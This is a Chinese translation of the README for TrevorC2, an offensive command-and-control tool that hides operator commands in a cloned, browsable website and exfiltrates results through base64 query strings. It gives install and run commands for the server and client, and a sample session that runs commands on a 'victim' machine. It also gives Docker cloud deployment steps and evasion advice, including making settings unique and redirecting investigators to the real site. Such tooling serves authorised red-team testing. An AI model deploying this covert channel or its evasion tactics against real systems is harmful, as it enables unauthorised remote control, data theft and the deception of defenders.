作者:Dave Kennedy (@HackingDave) 网站:https://www.trustedsec.com
注意:此版本非常早期 - 即将加入大量随机化和加密功能。
TrevorC2 是一种客户端/服务器模型,用于通过一个正常可浏览的网站来掩盖命令与控制。由于时间间隔不同且不使用POST请求进行数据外泄,检测变得困难得多。
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
TrevorC2 包含两个组件:客户端和服务器。客户端可以配置用于任何场景。在此示例中,它使用 Python 编写,但可以轻松移植到 C#、PowerShell 或任何你想要的平台。目前 trevorc2_client.py 支持 Windows、MacOS 和 Linux。你可以始终通过字节编译 Windows 版本获得可执行文件,但首选方案是在不丢弃可执行文件作为加载器的情况下使用 Windows。
服务器的工作方式是将一个参数隐藏在 </body> 参数之前。这是完全可配置的,建议你配置所有内容使其唯一,以规避检测。工作流程如下:
1. trevor2_server.py - 首先编辑文件,自定义要克隆的网站等。服务器将克隆你选择的网站并启动一个服务器。该服务器对任何人都是可浏览的,看起来像合法网站。源代码中包含一个参数(同样可配置),其中包含客户端的指令。一旦客户端连接,它会搜索该参数,然后使用它执行命令。
2. trevor2_client.py - 你只需要一个可配置的选项,即能够呼叫到网站、解析一些基本数据、执行命令,然后将结果以 base64 编码的查询字符串参数的形式发送到网站。就是这样,不复杂。
3. trevor2_client.ps1 - trevor2_client.py 的 PowerShell 实现,允许你使用原生 PowerShell 与 Trevor2_Server 交互。
pip install -r requirements.txt
首先编辑 trevor2_server.py - 更改配置选项和要克隆的站点。
python trevor2_server.py
接下来,编辑 trevor2_client.py 或 ps1 - 更改配置以及要其通信回连的系统。
python trevor2_client.py 或 .\trevor2_client.ps1
TrevorC2 支持处理来自不同主机名的多个 shell。TrevorC2 的工作方式是识别新的主机名作为会话。执行命令后,你可以与这些会话交互。如果有多个会话,你可以输入命令并根据全局存储的会话编号与该会话交互。
首次启动 TrevorC2 时,可以输入 help 或 ? 获取更多信息。基本命令用法是 "list",它将列出所有活跃的 shell(或没有),或者 "interact <session_id>" 来与你想要交互的 shell 交互。
在 shell 中,你始终可以输入 back/exit,它仍将保持活跃,实际上不会杀死 shell。
示例如下:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - 合法网站隐蔽通道
作者:David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] 正在克隆网站:https://www.google.com
[*] 网站克隆成功。
[*] 正在启动 Trevor C2 服务器...
[*] 接下来,输入要让受害者执行的命令。
[*] 客户端使用随机间隔,可能需要一些时间。
[*] 输入 help 查看用法。示例命令:list、interact。
Trevor C2 shell
trevorc2>help
文档化命令(输入 help <主题>):
========================================
exit help interact list servercmd
trevorc2>help list
描述:列出所有可用代理
用法:list
trevorc2>list
没有可用的代理。:-(
trevorc2>
*** 收到来自 127.0.0.1 和主机名 stronghold 的连接,通信会话 ID 为 pSNIRFgTuZnCdHN,用于 TrevorC2。
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
描述:启动与代理的交互式 shell
用法:interact <id>
trevorc2>interact 1
[*] 进入 trevorc2 shell...
[*] 使用 exit 或 back 选择其他 shell
stronghold:trevorc2>ifconfig
[*] 等待命令执行,请耐心等待,结果将在此处显示...
[*] 收到客户端的响应...
=-=-=-=-=-=-=-=-=-=-=
(主机名:stronghold
客户端:127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
描述:在服务器上运行命令
用法:servercmd <command>
示例:servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] 正在退出 TrevorC2...
使用基于 alpine 的 Dockerfile 部署 trevorC2,便于在云提供商上快速部署。
示例如下:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# 此时,使用 docker-machine 进行远程部署效果很好
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
更改每个脚本中呈现的变量非常重要,特别是 SITE_PATH_QUERY 和加密密钥。我还建议查看 REDIRECT 选项。除了克隆网站,你还可以选择将可能正在浏览该站点进行调查的受害主机重定向到合法网站。基本上,当有人访问该站点时,它会将他们重定向到你想克隆的站点。例如,将克隆的站点从 google 改为其他站点,并将 redirect 设置为 ON。